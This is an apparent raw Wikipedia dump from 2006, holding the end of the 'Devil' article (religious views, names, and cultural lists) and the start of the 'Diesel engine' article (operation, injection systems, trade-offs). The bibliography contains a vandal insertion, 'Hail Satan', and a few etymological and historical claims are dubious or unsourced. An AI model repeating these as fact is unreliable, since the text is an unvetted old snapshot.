He was expelled from the grace of Allah when he failed to pay homage to Adam, the father of all mankind. He claimed to be superior to Adam, on the grounds that man was created of earth unlike himself. Even the other angels showed a degree of suspicion when Allah informed them about the creation of man as the regent (caliph) of all things on Earth, but they ultimately prostrated before Adam to show their homage. However, Iblis, adamant in his view that man is a worthless being, never bowed his head before any other than Allah. This caused him to be expelled by Allah, a fact that Iblis blamed on humanity. Initially, the Devil was successful in deceiving Adam, but once his intentions became clear, [[Adam and Eve]] repented to Allah and were freed from their misdeeds and forgiven. Allah gave them a strong warning about Iblis and the fires of Hell and asked them and their children (humankind) to stay away from the deceptions of their senses caused by the Devil. (For a more detailed account, see ([[Iblis]] or [[Shaitan]].)

===Judaism===

In [[Hebrew language|Hebrew]], the biblical word ''ha-satan'' means ''adversary'' or ''obstacle'', or even &quot;the [[prosecutor]]&quot; (recognizing that God is viewed as the ultimate [[Judge]]). 

In the [[book of Job]] (Iyov), ha-satan is the title, not the proper name, of an [[angel]] submitted to God; he is the divine court's chief prosecutor. In Judaism ha-satan does not make evil, rather points out to God the evil inclinations and actions of humankind. In essence ha-satan has no power unless humans do evil things. After God points out [[Job (Biblical figure)|Job]]'s piety, ha-satan asks for permission to test the faith of Job. The righteous man is afflicted with loss of family, property, and later, health, but he still stays faithful to God. At the conclusion of this book God appears as a [[whirlwind]], explaining to all that divine justice is inscrutable with human intellect. In the epilogue Job's possessions are restored and he has a second family to &quot;replace&quot; the one that died.

There is no evidence in [[Torah]], or in the books of the [[Nevi'im|Prophets]] and other writings, to suggest that God created an [[evil]] being. In fact, the [[Book of Isaiah]], Job, [[Ecclesiastes]], and [[Deuteronomy]] all have passages which God is credited for creating both the good and the evil of this world. 

The Hebrew word for evil used above is usually translated as 'calamity', 'disaster' or 'chaos'.

===No concept of the devil in Hinduism===
* In contrast to the Christian traditions and [[Islam]], [[Hinduism]] does not recognize any central evil force or entity such as the Devil opposing God but does recognize that different beings (e.g., [[asuras]]) and entities can perform evil acts and cause suffering in the world. 

* See external site, [http://www.shaivam.org/hipgodco.htm the Hindu Answer to Question, &quot;Is there an Evil force against God?&quot;]

* However, for Hindus and [[Vaishnavism|Vaishnavites]], in particular, it is believed that [[Vishnu]] incarnates to destroy evil when evil has reached its maximum. (see [[avatar]].) Additionally, the problem of evil is mostly explained by the concept of [[Karma in Hinduism|Karma]].

===Ayyavazhi===

[[Ayyavazhi]], officially an offshoot of Hinduism, in Tamil Nadu, believes in a [[Satan]]-like figure, [[Kroni]]. Kroni, according to Ayyavazhi is the primordial manifestation of evil and manifests in various forms of evil, i.e., [[Ravana]], [[Duryodhana]], etc., in different ages or [[yuga]s. In response to such manifestation of evil,  believers, in Ayya-Vazhi religion believe that God, as [[Vishnu]] manifests in His [[avatar]]s, [[Rama]], [[Krishna]], to destroy evil. Eventually, the [[Ekam]] with the spirit (the spirit taken by Narayana only for incarnating in the world) of [[Narayana]] incarnates in the world as [[Ayya Vaikundar]] to destroy the final manifestaion of Kroni, [[Kaliyan]].

Kroni, the spirit of [[Kali Yuga]] is said to be omnipresent in this age and that is why one of the reasons, followers of Ayya Vazhi, like most Hindus, believe that the current yuga, Kali Yuga is so degraded.

===Buddhism===

A Devil-like figure in Buddhism is [[Mara (demon)|Mara]].

== Names of the devil ==

=== The original names ===

Originally, only the epithet of &quot;the satan&quot; or &quot;the adversary&quot; was used to denote the character in the Hebrew deity's court that later became known as &quot;the Devil&quot;.  The article was lost and this title became a proper name: '''Satan'''. There is no unambiguous basis for the Devil in the Torah, the Prophets, or the Writings. 

[[Zechariah]] 3:1--&quot;And he showed me Joshua the high priest standing before the angel of the Lord, and ha-satan standing at his right hand to resist him.&quot; This reading has since been erroneously interpreted by some to mean Satan, &quot;the Devil&quot;, but such is not the case.  The [[Hebrew Bible]] views ha-satan as an angel ministering to the desires of God, acting as Chief Prosecutor.

'''The tempter''': [[Matthew 4:3]]--&quot;And when the tempter came to him.&quot;  None escape his temptations. He is continually soliciting men to sin.

In Matthew 10:25 and 12:24, [[Gospel of Mark|Mark]] 3:22, and openly in [[Gospel of Luke|Luke]] 11:18-19 there is an implied connection between Satan and [[Beelzebub]] (originally a [[Semitic]] [[deity]] called Baal-zebul, one of the [[Baal]]s.) '''Beelzebub''' (lit. ''Lord of the Flies'') has now come to be analogous to Satan.

'''The wicked one''': Matt. 13:19--&quot;Then cometh the wicked one.&quot; [[Matthew 6:13|Matt. 6:13]]; 1 John 5:19. This title suggests that Satan is one who is wicked himself.  [[Abrahamic religion]]s generally regarded sin as a physical manifestation of opposition to God, and therefore evil; dissent only comes from the topic of 'where does sin come from?'

In [[Gospel of John|John]] 12:31 and 14:30 Satan is called '''Prince of this World''' (Rex Mundi); this became a nickname for him.

In 2 Corinthians 6:15 the Devil is referred as '''[[Belial]]'''.  &quot;What agreement does Christ have with Belial?&quot;

[[1 Peter]] 5:8--&quot;Your adversary the devil.&quot; By adversary is meant one who takes a stand against another. In the Christian worldview, Satan is the adversary of both God and humanity.  

'''The Devil, diabolos''': This name is ascribed to Satan at least 33 times in the Christian scriptures and indicates that Satan is an accuser or slanderer (Rev. 12:9). 

'''The [[European dragon|Dragon]]''' or '''The Old Serpent''': These epithets are used extensively in the [[Book of Revelation]].

'''The Beast''' (Book of Revelation 13:1-18) is a term John the Evangelist used to refer to a &quot;puppet&quot; of the dragon's (Satan); this name appears several times in the book of Revelation, and it became another nickname for Satan.

'''[[Abaddon]]''' or '''[[Apollyon]]''': Referred to in Revelation 9:11, commonly interpreted as the name of Satan in Hebrew and [[Greek language|Greek]] respectively. However, the actual Abaddon mentioned in the [[Book of Revelation]] is the name of an angel &quot;holding the key to the Abyss&quot;, so the original text does not originally point to Satan.

There are some who erroneously claim that the word 'devil' is from 'd'evil' -'of evil.' Some also believe that because the word 'evil' itself is 'live' spelt backward, the word originated through the nature of evil being &quot;against living things,&quot; or the antithesis of life itself. Both claims are false, as the words are etymologically derived from pre-existing languages.

===Further development===

When the [[Bible]] was translated into [[Latin]] (the [[Vulgate]]), the name [[Lucifer]] appeared as a translation of &quot;[[Morning Star]]&quot;, or the planet [[Venus]], in [[Isaiah]] 14:12. Isaiah 14:1-23 is a passage largely concerned with the plight of [[Babylon]], and its king is referred to as &quot;morning star, son of the dawn&quot;. This is because the Babylonian king was considered to be of godly status and of symbolic divine parentage ([[Bel (mythology)|Bel]] and [[Ishtar]], associated with the planet Venus).

While this information is available to scholars today via translated Babylonian [[Cuneiform script|cuneiform]] text taken from clay tablets, it was not as readily available at the time of the Latin translation of the Bible. Thus, early Christian tradition interpreted the passage as a reference to the moment Satan was thrown from [[Heaven]]. Lucifer became another name for Satan and has remained so due to Christian [[dogma]] and popular tradition.

The [[Hebrew Bible]] word which was later translated to &quot;Lucifer&quot; in English is הילל (transliterated HYLL).  Though this word, ''Heilel'', has come to be translated as &quot;morning-star&quot; from the Septuagint's translation of the Scriptures, the letter ה in Hebrew often indicates singularity, much as the English &quot;the,&quot; in which case the translation would be ה &quot;the&quot; ילל &quot;yell,&quot; or &quot;the wailing yell.&quot;

Later, for unknown reasons, [[Christian demonology|Christian demonologists]] appeared to designate &quot;Satan&quot;, &quot;Lucifer&quot;, and &quot;Beelzebub&quot; as different entities, each with a different rank in the hellish hierarchy. One hypothesis is that this might have been an attempt to establish a hellish trinity with the same person, akin to the Christian [[Trinity]] of [[God the Father|Father]], [[Son of God|Son]] and the [[Holy Spirit]], but most demonologists do not carry this view.

===In Christian tradition===

Christian tradition differs from that of Christian demonology in that ''Satan'', ''Lucifer'', ''Leviathan'' and ''Beelzebub'' all are names that refer to &quot;''the Devil''&quot;, and ''Prince of this World'', ''The Beast'' and ''Dragon'' (and rarely ''Serpent'' or ''The Old Serpent'') use to be elliptic forms to refer to him. ''The Enemy'', ''The Evil One'' and ''The Tempter'' are other elliptic forms to name the Devil. ''[[Belial]]'' is held by many to be another name for the Devil. Christian demonology, in contrast, does not have several nicknames for Satan.

It should be noted that the name ''[[Mephistopheles]]'' is used by some people to refer to the Devil, but it is a mere folkloric custom, and has nothing to do with Christian demonology and Christian tradition. ''Prince of Darkness'' and ''Lord of Darkness'' are also folkloric names, although they tend to be incorporated to Christian tradition.

The [[Middle Ages|medieval]] [[Cathar]]s believed that the [[Old Testament]] [[Tetragrammaton|Yahweh]] was, in fact, the devil, based partially on ethical interpretations of the [[Bible]] and partially on the beliefs of earlier [[gnosticism|gnostic]] sects (such as the [[Marcionism|Marcionists]]) who regarded the god of the Old Testament as evil or as an imperfect [[Demiurge]]. Early [[Gnosticism|Gnostics]] called the Demiurge ''[[Yaw (god)|Yao]],'' the [[Aramaic language|Aramaic]] cognate to the [[Tetragrammaton]], YHWH (Yahweh). Moreover, research into [[Ugarit]]ic texts revealed that the names of the Jewish god were the same as separate gods worshipped in the same region; Yahweh is cognate to Ugaritic [[Yaw (god)|Yaw]] who is there the god of chaos, evil, and world domination.

==The devil in literature==
Many writers have incorporated the character of Satan into their works.  Among the most famous are:
*[[Dante Alighieri]]'s ''[[The Divine Comedy#Inferno|Inferno]]'' (1321)
*[[Christopher Marlowe]]'s ''[[Faust|Doctor Faustus]]'' (1604)
*[[Joost van den Vondel]]'s ''[[Lucifer]]'' (1654)
*[[John Milton]]'s ''[[Paradise Lost]]'' (1667)
*[[Johann Wolfgang Goethe]]'s ''[[Faust]]'' (Part 1, 1808; Part 2, 1832)
*[[Fyodor Dostoevsky]]'s [[Brothers Karamazov]] (1880)
*[[Mark Twain]]'s ''[[The Mysterious Stranger]]'' (1916)
*[[Robert Louis Stevenson]]'s [[Markheim]] (1925)
*[[Steven Vincent Benet|Steven Vincent Benét]]'s ''[[The Devil and Daniel Webster]]'' (1937)
*[[Thomas Mann]]'s ''[[Doktor Faustus]]'' (1947)
*[[William Golding]]'s ''[[The Lord of the Flies]]'' (1954)
*[[Mikhail Bulgakov]]'s ''[[The Master and Margarita]]'' (1967)
*[[Piers Anthony]]'s ''[[Incarnations of Immortality]]'' series (1983-1990)
*''Isaac Asimov’s Magical Worlds of Fantasy #8: Devils'', an anthology of 18 fantasy short stories [[edit]]ed by [[Isaac Asimov]], Martin Greenburg, and Charles Waugh (1987)
*[[Tim LaHaye]] and [[Jerry B. Jenkins]]'s ''[[Left Behind]]'' series (1995-present)
*[[Anne Rice]]'s ''[[Memnoch the Devil]]'' (1996)
*[[Eoin Colfer]]'s [[The Wish List]] (2000)

==The devil in music==
A few songs that make reference to the Devil are:
* ''[[Devil's Trill Sonata]]'' by [[Giuseppe Tartini]]
* ''[[N.I.B.]]'' by [[Black Sabbath]]
* ''[[Sympathy for the Devil]]'' by [[The Rolling Stones]]
* ''[[The Devil Went Down to Georgia]]'' by the [[Charlie Daniels|Charlie Daniels Band]]
* ''[[Lucifer Over London]]'' by [[Current 93]]
* ''[[Friend of the Devil]]'' by [[The Grateful Dead]]
* ''[[Lord Of The Flies (song) | Lord Of The Flies]]'' by [[Iron Maiden]]
* ''[[Draconian Trilogy]]'' by [[Therion (band)|Therion]]
* ''[[Worship Him]]'' by [[Samael (band) |Samael]]
* ''[[Devil's Path]]'' by [[Dimmu Borgir]]
* ''[[Spellbound by the Devil]]'' by [[Dimmu Borgir]]
* ''[[Inno a Satana]]'' by [[Emperor (band)|Emperor]]
* ''[[As flittermice as Satan's spys]]'' by [[Darkthrone]]
* ''[[Prince Of Darkness]]'' by [[Megadeth]]
* ''[[Running With The Devil]]'' by [[Van Halen]]
* ''[[Devil's Dance Floor]]'' by [[Flogging Molly]]
* ''[[Titties And Beer]]'' by [[Frank Zappa]]
* ''[[Tribute (song)|Tribute]]'' by [[Tenacious D]]
The Devil is a common theme in an extreme form of underground music known as [[black metal]].

The musical interval of an Augmented 4th is sometimes known as &quot;The Devil In Music&quot;, a name given to it circa. 1400, given its unusual sound. Composers were encouraged to stay away from the interval, and whilst it is sometimes found in non-religious music of the time, it was never used in religious music until the existing system of keys came into use.

==The devil in film and television==
Many films and television programs have portrayed the Devil in one form or another. Among these are:
*''[[Häxan]]'' ([[1922]])
*''[[The Twilight Zone]]'' in such episodes as &quot;[[The Howling Man]]&quot; and &quot;[[Printer's Devil]].&quot;
*''[[Bedazzled (1967 film)|Bedazzled]] ([[1967]], [[Bedazzled (2000 film)|remade]] in [[2000]])
*''[[The Omen]]'' ([[1976]])
*''[[The Devil and Max Devlin]]'' [[1981]]
*''[[Oh, God! You Devil]]'' ([[1984]])
*''[[Legend (film)|Legend]]'' ([[1985]])
*''[[Angel Heart]]'' ([[1987]])
*''[[The Last Temptation of Christ]]'' ([[1988]])
*''[[Bill and Ted's Bogus Journey]]'' ([[1991]])
*''[[The Simpsons]]'' in the [[Treehouse of Horror IV]] short &quot;The Devil and Homer Simpson&quot;, ironically taking the form of [[Ned Flanders]].
*''[[The Prophecy]]'' ([[1995]])
*''[[Tales from the Hood]]'' ([[1995]])
*''[[The Devil's Advocate (film)|The Devil's Advocate]]'' ([[1997]])
*''[[Brimstone (television series)|Brimstone]]'' featured the devil as a regular character.
*[[The Collector (television series)|The Collector]]'' has a different charecter playing the devil in each episode.
[[Image:Devil.jpg|thumb|The Red guy from Cow &amp; Chicken]]
*''[[Cow and Chicken]]'' (1997-1999) and ''[[I Am Weasel]]'' both have a character called the [[Red Guy]], who looks very much like Satan.
*''[[End of Days]]'' ([[1999]])
*''[[South Park]]'' features The Devil as a recurring character in the series as well as in the film ''[[South Park: Bigger, Longer &amp; Uncut]]'' ([[1999]])
*''[[The Ninth Gate]]'' ([[1999]])
*''[[Little Nicky (film)|Little Nicky]]'' ([[2000]])
*''[[Futurama]]'' periodically featured a character known as &quot;The Robot Devil.&quot;
*''[[The Passion of the Christ]]'' ([[2004]])
*''[[Constantine (film)|Constantine]]'' ([[2005]])
* ''[[Dominion: Prequel to the Exorcist]]'' ([[2005]])
* ''[[The Exorcism of Emily Rose]]'' ([[2005]])

==The devil in video games==

As with films, the Devil (or some nearly identical character) has appeared in numerous [[video game]]s. A few of them are:

*''[[Devil May Cry]]''
*''[[Diablo (computer game)|Diablo]]''
*''[[Diablo II]]''
*''[[Doom 3]]'' (you don't see him, but you can hear him)
*''[[Ghosts 'n Goblins]]''
*''[[Ghouls 'n Ghosts]]''
*''[[Tekken]]''

==Bibliography==
{{Expandsect}}
 
* ''[[The Origin of Satan]]'', by Elaine Pagels (Vintage Books, New York 1995) explores the development, the &quot;demonization&quot; of the character of Satan against the background of the bitter struggle between the early Church and the Synagogue to be the legitimate heir of ancient Hebrew religious tradition. She discusses how Satan becomes a figure that reflects our own hatreds and prejudices, and the struggle between our loving selves and our fearful, combative selves.

* ''[[The Old Enemy: Satan &amp; the Combat Myth]]'', by Neil Forsyth (Princeton, New Jersey 1987) seeks to show how Satan emerged from ancient mythological traditions and is best understood not as a principle of evil, but as a narrative character in the context of &quot;the Combat Myth&quot;. Forsyth tells the Devil's story from the Epic of Gilgamesh through to the writings of St. Augustine,Hail Satan.

* ''[[The Devil: Perceptions of Evil from Antiquity to Primitive Christianity]]'', by Jeffrey Burton Russell (Meridian, New York 1977) is &quot;a history of the personification of evil&quot; which, to make things clear, he calls &quot;the Devil&quot;. Accessible and engaging, full of photographs illustrating the text, this is the first of a four volume series on the history of the concept of the Devil. The following volumes are, Satan: The Early Christian Tradition, Lucifer: The Devil in the Middle Ages, and Mephistopheles: The Devil in the Modern World. 

* ''[[The Devil in Legend and Literature]]'', by Maximilian Rudwin (Open Court, La Salle, Illinois, 1931, 1959) is a compendium of &quot;the secular and sacred adventures of Satan&quot;. Engaging, wide-ranging and good-humored (and out-of-print for thirty years), this &quot;classic&quot; was re-printed in 1989.

==See also==
*[[Antichrist]]
*[[The Devil (Tarot card)]]
*[[Devil worship]]
*[[False prophet]]
*[[Fiend (Dungeons &amp; Dragons)]]
*[[Hierarchy of devils]]
*[[Names of the demons]]
*[[Pan (mythology)|Pan]]
*[[Robert the Devil]]
*[[Samael]]
*[[Satanic Ritual Abuse]]
*[[Tasmanian Devil]]

==External links==

*[http://www.atheistfoundation.org.au/devil.htm The Devil - Unjustly Maligned]

[[Category:Christian mythology]]
[[Category:Demons]]
[[Category:Jewish mythology]]
[[Category:Mythology]]
[[Category:Abrahamic mythology]]

[[ca:Dimoni]]
[[de:Teufel]]
[[eo:Satano]]
[[es:Diablo]]
[[fr:Diable]]
[[he:&amp;#1513;&amp;#1496;&amp;#1503;]]
[[id:Iblis]]
[[ja:&amp;#24746;&amp;#39764;]]
[[kw:Dyowl]]
[[mk:Ѓавол]]
[[nl:Duivel]]
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[[simple:Devil]]
[[sv:Satan]]
[[zh:魔鬼]]</text>
    </revision>
  </page>
  <page>
    <title>Diesel engine</title>
    <id>8540</id>
    <revision>
      <id>42129449</id>
      <timestamp>2006-03-04T00:37:09Z</timestamp>
      <contributor>
        <ip>213.139.195.162</ip>
      </contributor>
      <comment>/* Diesel applications */</comment>
      <text xml:space="preserve">[[Image:Dieselmotor_vs.jpg|180px|right]]
[[Image:Lumbar patent dieselengine.jpg|180px|right]]

The '''diesel engine''' is a type of [[internal combustion engine]]; more specifically, it is a [[compression ignition engine]], in which the [[fuel]] is [[ignition|ignited]] by being suddenly exposed to the high temperature and pressure of a compressed gas, rather than by a separate source of ignition, such as a spark plug, as is the case in the [[gasoline engine]].

This is known as the [[diesel cycle]], after German engineer [[Rudolf Diesel]], who invented it in 1892 and received the [[patent]] on [[February 23]], [[1893]].  Diesel intended the engine to use a variety of fuels including [[coal dust]].  He demonstrated it in the 1900 [[Exposition Universelle (1900)|''Exposition Universelle'']] ([[World's Fair]]) using peanut oil (see [[biodiesel]]).

==How diesel engines work==
When a gas is compressed, its temperature rises (see the [[combined gas law]]); a diesel engine uses this property to ignite the fuel.  Air is drawn into the cylinder of a diesel engine and compressed by the rising [[piston]] at a much higher [[compression ratio]] than for a spark-ignition engine, up to 25:1.  The air temperature reaches 700–900[[Celsius|°C]], or 1300–1650 [[Fahrenheit|°F]].  At the top of the piston [[Stroke (disambiguation)| stroke]], [[diesel]] [[fuel]] is injected into the [[combustion chamber]] at high pressure, through an atomising nozzle, mixing with the hot, high-pressure air.  The resulting mixture ignites and burns very rapidly.  This contained explosion causes the gas in the chamber to heat up rapidly, which increases its pressure, which in turn forces the piston downwards.  The [[connecting rod]] transmits this motion to the [[crankshaft]], which is forced to turn, delivering rotary power at the output end of the crankshaft. [[Scavenging]] (pushing the exhausted gas-charge out of the cylinder, and drawing in a fresh draught of air) of the engine is done either by ports or valves.  To fully realize the capabilities of a diesel engine, use of a [[turbocharger]] to compress the intake air is necessary; use of an [[intercooler|aftercooler/intercooler]] to cool the intake air after compression by the turbocharger further increases efficiency.

In very cold weather, diesel fuel thickens and increases in viscosity and forms wax crystals or a gel.  This can make it difficult for the fuel injector to get fuel into the cylinder in an effective manner, making cold weather starts difficult at times, though recent advances in diesel fuel technology have made these difficulties rare.  A commonly applied advance is to electrically heat the [[fuel filter]] and fuel lines.  Other engines utilize small electric heaters called  [[glow plug]]s inside the cylinder to warm the cylinders prior to starting.  A small number use resistive grid heaters in the intake manifold to warm the inlet air until the engine reaches operating temperature.  Engine block heaters (electric resistive heaters in the engine block) plugged into the utility grid are often used when an engine is shut down for extended periods (more than an hour) in cold weather to reduce startup time and engine wear.

A vital component of any diesel engine system is the [[governor (device)|governor]], which limits the speed of the engine by controlling the rate of fuel delivery.  Unlike a petrol (gasoline) engine, the incoming air is not throttled, so the engine would overspeed if this was not done.  Older governors were driven by a gear system from the engine (and thus supplied fuel only linearly with engine speed).  Modern electronically-controlled engines achieve this through the [[electronic control module]] (ECM) or [[electronic control unit]] ([[ECU]]) - the engine-mounted &quot;computer&quot;.  The ECM/ECU receives an engine speed signal from a [[sensor]] and then using its [[algorithm]]s and look-up calibration tables stored in the ECM/ECU, it controls the amount of fuel and its timing (the &quot;start of injection&quot;) through electric or hydraulic [[actuators]] to maintain engine speed.

Controlling the timing of the '''start of injection''' of fuel into the pistons is key to minimising their [[emissions]] and maximising the [[fuel economy]] (efficiency) of the engine. The exact timing of starting this fuel injection into the cylinder is controlled electronically in most of today's modern engines. The timing is usually measured in units of crank angle of the piston before [[Top Dead Center]] (TDC). For example, if the [[ECM]]/[[ECU]] initiates fuel injection when the [[piston]] is 10 degrees before TDC, the start of injection or &quot;timing&quot; is said to be 10 deg BTDC.  The optimal timing will depend on both the engine design as well as its speed and load.

Advancing (injecting when the piston is further away from TDC) the start of injection results in higher in-cylinder pressure and higher efficiency but also results in higher emissions of Oxides of Nitrogen ([[NOx]]). At the other extreme, very retarded start of injection or timing causes incomplete combustion. This results in higher Particulate Matter (PM) emissions and higher smoke.

==Fuel injection in diesel engines==

===Mechanical and electronic injection===

Older engines make use of a mechanical fuel pump and valve assembly which is driven by the engine crankshaft, usually via the timing belt or chain. These engines use simple injectors which are basically very precise spring-loaded valves which will open and close at a specific fuel pressure. The pump assembly consists of a pump which pressurizes the fuel, and a disc-shaped valve which rotates at half crankshaft speed. The valve has a single aperture to the pressurized fuel on one side, and one aperture for each injector on the other. As the engine turns the valve discs will line up and deliver a burst of pressurized fuel to the injector at the cylinder about to enter its power stroke. The injector valve is forced open by the fuel pressure and the diesel is injected until the valve rotates out of alignment and the fuel pressure to that injector is cut off.
Engine speed is controlled by a third disc, which rotates only a few degrees and is controlled by the throttle lever. This disc alters the width of the aperture through which the fuel passes, and therefore how long the injectors are held open before the fuel supply is cut, controlling the amount of fuel injected.

This contrasts with the more modern method of having a separate fuel pump (or set of pumps) which supplies fuel constantly at high pressure to each injector. Each injector then has a solenoid which is operated by an electronic control unit, which enables more accurate control of injector opening times depending on other control conditions such as engine speed and loading, resulting in better engine performance and fuel economy. This design is also mechanically simpler than the combined pump and valve design, making it generally more reliable, and less noisy, than its mechanical counterpart.  

Both mechanical and electronic injection systems can be used in either direct or indirect injection configurations.
''(see below)''

===Indirect injection===
{{main|Indirect injection}}

An indirect injection diesel engine delivers fuel into a chamber off the combustion chamber, called a prechamber, where combustion begins and then spreads into the main combustion chamber.
diesel engines from ford and chevrolet used in the 80's and early 90's up to 2000 used this system of fuel injection...it was very inefficient and could never have the same power potential as direct injection.

===Direct injection===

Modern diesel engines make use of one of the following [[Fuel injection#Direct injection|direct injection]] methods:
 
====Distributor pump direct injection====

The first incarnations of direct injection diesels used a rotary pump much like indirect injection diesels, however the injectors were mounted directly in the top of the combustion chamber rather than in a separate pre-combustion chamber.  Examples are vehicles such as the Ford Transit and the Austin Rover Maestro and Montego with their Perkins Prima engine.  The problem with these vehicles was the harsh noise that they made and particulate (smoke) emissions.  This is the reason that in the main this type of engine was limited to commercial vehicles (the notable exceptions being the Maestro, Montego and Fiat Croma passenger cars).  Fuel consumption was about 15% to 20% lower than indirect injection diesels which for some buyers was enough to compensate for the extra noise.

This type of engine was transformed by electronic control of the injection pump, pioneered by Volkswagen Audi group with the Audi 100 TDI introduced in 1989.  The injection pressure was still only around 300 bar, but the injection timing, fuel quantity, exhaust gas recirculation and turbo boost were all electronically controlled.  This gave much more precise control of these parameters which made refinement much more acceptable and emissions acceptably low.  Fairly quickly the technology trickled down to more mass market vehicles such as the Mark 3 Golf TDI where it proved to be very popular.  These cars were both more economical and more powerful than indirect injection competitors of their day.

====Common rail direct injection====
{{main|Common rail}}

In older diesel engines, a distributor-type injection pump, regulated by the engine, supplies bursts of fuel to injectors which are simply nozzles through which the diesel is sprayed into the engine's combustion chamber.

In common rail systems, the distributor injection pump is eliminated.  Instead an extremely high pressure pump stores a reservoir of fuel at high pressure - up to 1,800 bar (180[[megapascal|MPa]]) - in a &quot;common rail&quot;, basically a tube which in turn branches off to computer-controlled injector valves, each of which contains a precision-machined nozzle and a plunger driven by a [[solenoid]].

Most European automakers have common rail diesels in their model lineups, even for commercial vehicles.  Some Japanese manufacturers, such as Toyota, Nissan and recently Honda, have also developed common rail diesel engines.

Different car makers refer to their common rail engines by different names, e.g. DaimlerChrysler's CDI, Ford Motor Company's TDCi (most of these engines are manufactured by PSA), Fiat Group's (Fiat, Alfa Romeo and Lancia) JTD, Renault's DCi, GM/Opel's CDTi (most of these engines are manufactured by Fiat, other by Isuzu), Hyundai's CRDI, Mitsubishi's D-ID, PSA Peugeot Citroen's HDI, Toyota's D-4D, Volkswagen's TDi, and so on.

====Unit direct injection====

This also injects fuel directly into the cylinder of the engine.  However, in this system the injector and the pump are combined into one unit positioned over each cylinder.  Each cylinder thus has its own pump, feeding its own injector, which prevents pressure fluctuations and allows more consistent injection to be achieved.  This type of injection system, also developed by Bosch, is used by Volkswagen AG in cars (where it is called Pumpe Düse - literally &quot;pump nozzle&quot;), and most major diesel engine manufacturers, in large commercial engines (Cat, Cummins, Detroit Diesel).  With recent advancements, the pump pressure has been raised to 2,050 bar (205 [[megapascal|MPa]]), allowing injection parameters similar to common rail systems.

==Types of diesel engines==

There are two classes of diesel engines: two-stroke and four-stroke.
Most diesels generally use the [[four-stroke cycle]], with some larger diesels operating on the [[two-stroke cycle]]. 

Normally, banks of [[cylinder (engine)|cylinder]]s are used in multiples of two, although any number of cylinders can be used as long as the load on the crankshaft is counterbalanced to prevent excessive [[vibration]].  The [[inline-6]] is the most prolific in medium- to heavy-duty engines, though the [[V8]] and [[straight-4]] are also common.

As a footnote, Pre 1949, Sulzer experimented with 2 stroke engine with boost pressures as high as 6 atmospheres where all of the output power was taken from an exhaust turbine. The 2 stroke pistons directly drove air compressor pistons to make a positive displacement gas generator. Opposed pistons were connected by linkages instead of crankshafts. Several of these units could be connected together to provide power gas to one large output turbine. The overall thermal efficiency was roughly twice that of a simple gas turbine. (Source 'Modern High-Speed Oil Engines Volume II' by C.W.Chapman published by 'The Caxton publishing co. ltd.' reprinted in July 1949)

==Advantages and disadvantages versus spark-ignition engines==

Diesel engines are more efficient than gasoline (petrol) engines of the same power, resulting in lower fuel consumption. A common margin is 40% more miles per gallon for an efficient turbodiesel; for example, the current model [[Skoda Octavia]], using [[Volkswagen]] engines, has a combined Euro mpg of 38.2mpg for the 102bhp petrol engine and 53.3mpg for the 105bhp — and heavier — diesel engine. The higher compression ratio is helpful in raising efficiency, but [[diesel fuel]] contains approximately 30% more energy per unit volume than [[gasoline]], and this is the crucial factor.

Naturally aspirated diesel engines are more massive than [[gasoline engine]]s of the same power for two reasons; the first is that it takes a larger capacity diesel engine than a gasoline engine to produce the same power.  This is essentially because the diesel cannot operate as quickly — the &quot;rev limit&quot; is lower — because getting the fuel-air mixture into a diesel engine is more difficult than a gasoline engine [http://www.perkins.com/perkins/cda/articleDisplay/1,4094,7___32_____7_10020408,00.html].  The second reason is that a diesel engine must be stronger to withstand the higher combustion pressures needed for ignition.  

Yet it is this same build quality that has allowed some enthusiasts to acquire significant power increases with [[turbocharger|turbocharged]] engines through fairly simple and inexpensive modifications. A gasoline engine of similar size cannot put out a comparable power increase without extensive alterations because the stock components would not be able to withstand the higher stresses placed upon them. Since a diesel engine is already built to withstand higher levels of stress, it makes an ideal candidate for [[Engine tuning|performance tuning]] with little expense.  However it should be said that any modification that raises the amount of fuel and air put through a diesel engine will increase its operating temperature which will reduce its life and service interval requirements.  These things are issues with newer, lighter, &quot;high performance&quot; diesel engines which aren't &quot;overbuilt&quot; to the degree of older engines and are being pushed to provide greater power in smaller engines.

The addition of a turbocharger or [[supercharger]] to the engine (see [[turbodiesel]]) greatly assists in increasing [[fuel economy]] and power output. Boost pressures can be higher on diesels than gasoline engines, and the higher [[compression ratio]] allows a diesel engine to be more efficient than a comparable spark ignition engine.  Although the [[Heat of combustion|calorific value]] of the fuel is slightly lower at 45.3MJ/kg (mega[[joule]]s per [[kilogram]]) to gasoline at 45.8MJ/kg, diesel fuel is much heavier and fuel is sold by volume, so diesel contains more energy per litre or gallon.
The increased fuel economy of the diesel over the petrol engine means that the diesel produces less [[carbon dioxide]] (CO&lt;sub&gt;2&lt;/sub&gt;) per unit distance. Recently, advances in production and changes in the political climate have increased the availability and awareness of [[biodiesel]], an alternative to petroleum-derived diesel fuel with a much lower net-sum emission of CO&lt;sub&gt;2&lt;/sub&gt;, due to the absorption of CO&lt;sub&gt;2&lt;/sub&gt; by plants used to produce the fuel.

Diesel engines produce very little carbon monoxide as they burn the fuel in excess air except at full load, at which point a full [[Stochiometry | stochiometric]] quantity of fuel is injected per cycle.  However, they can produce black soot from their exhaust, consisting of unburned carbon compounds.  This is often caused by worn injectors, which do not atomize the fuel sufficiently, or a faulty engine management system which allows more fuel to be injected than can be burned with the available air.  Particles of the size normally called PM10 (particles of 10 micrometres or smaller) have been implicated in health problems, especially in cities.  Modern diesel engines catch the soot in a [[particle filter (automotive)|particle filter]], which when saturated is automatically regenerated by burning the particles. Other problems associated with the exhaust gases (nitrogen oxides, sulfur oxides) can be mitigated with further investment and equipment; some diesel cars now have catalytic converters in the exhaust.

The lack of an electrical [[ignition]] system greatly improves the reliability. The high durability of a diesel engine is also due to its overbuilt nature (see above) as well as the diesel's combustion cycle, which creates less-violent changes in pressure when compared to a spark-ignition engine, a benefit that is magnified by the lower rotating speeds in diesels.  Diesel fuel is a better lubricant than gasoline so is less harmful to the oil film on [[piston ring]]s and [[cylinder]] bores; it is routine for diesel engines to cover 250,000 miles or more without a rebuild.

Unfortunately, due to the greater compression force required and the increased weight of the stronger components, starting a diesel engine is a harder task. More [[torque]] is required to push the engine through compression.

